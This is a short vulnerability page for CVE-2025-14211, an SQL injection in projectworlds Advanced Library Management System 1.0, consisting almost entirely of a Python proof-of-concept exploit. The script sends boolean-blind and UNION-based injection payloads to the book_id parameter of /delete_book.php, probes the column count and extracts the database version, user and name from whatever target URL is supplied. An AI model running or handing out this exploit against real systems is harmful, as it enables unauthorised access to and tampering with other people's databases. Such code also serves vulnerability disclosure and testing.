CVE-2025-14211: projectworlds高级图书馆管理系统SQL注入漏洞

# CVE-2025-14211 SQL Injection PoC # Target: projectworlds Advanced Library Management System 1.0 # Endpoint: /delete_book.php # Parameter: book_id import requests import sys def exploit_sqli(target_url, book_id_payload): """ Exploit SQL injection in delete_book.php """ target = f"{target_url}/delete_book.php" params = { 'book_id': book_id_payload } print(f"[*] Sending payload to {target}") print(f"[*] Payload: {book_id_payload}") try: response = requests.get(target, params=params, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None # Boolean-based blind SQL injection def extract_data_blind(target_url): """ Extract database version using boolean-based blind SQL injection """ print("[*] Starting blind SQL injection attack...") # Example: Check if database version starts with specific character payload_base = "1' AND (SELECT SUBSTRING(@@version,1,1))='M' --" exploit_sqli(target_url, payload_base) # Union-based SQL injection def extract_data_union(target_url): """ Extract data using UNION-based SQL injection """ print("[*] Starting UNION-based SQL injection attack...") # Determine number of columns for i in range(1, 10): payload = f"1' ORDER BY {i} --" response = exploit_sqli(target_url, payload) if response and 'error' in response.text.lower(): break # Extract database information payload = "1' UNION SELECT NULL,version(),user(),database() --" exploit_sqli(target_url, payload) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14211.py <target_url>") print("Example: python cve-2025-14211.py http://localhost:8080") sys.exit(1) target_url = sys.argv[1] print(f"[*] Target: {target_url}") print(f"[*] CVE-2025-14211 SQL Injection PoC") # Run union-based attack extract_data_union(target_url)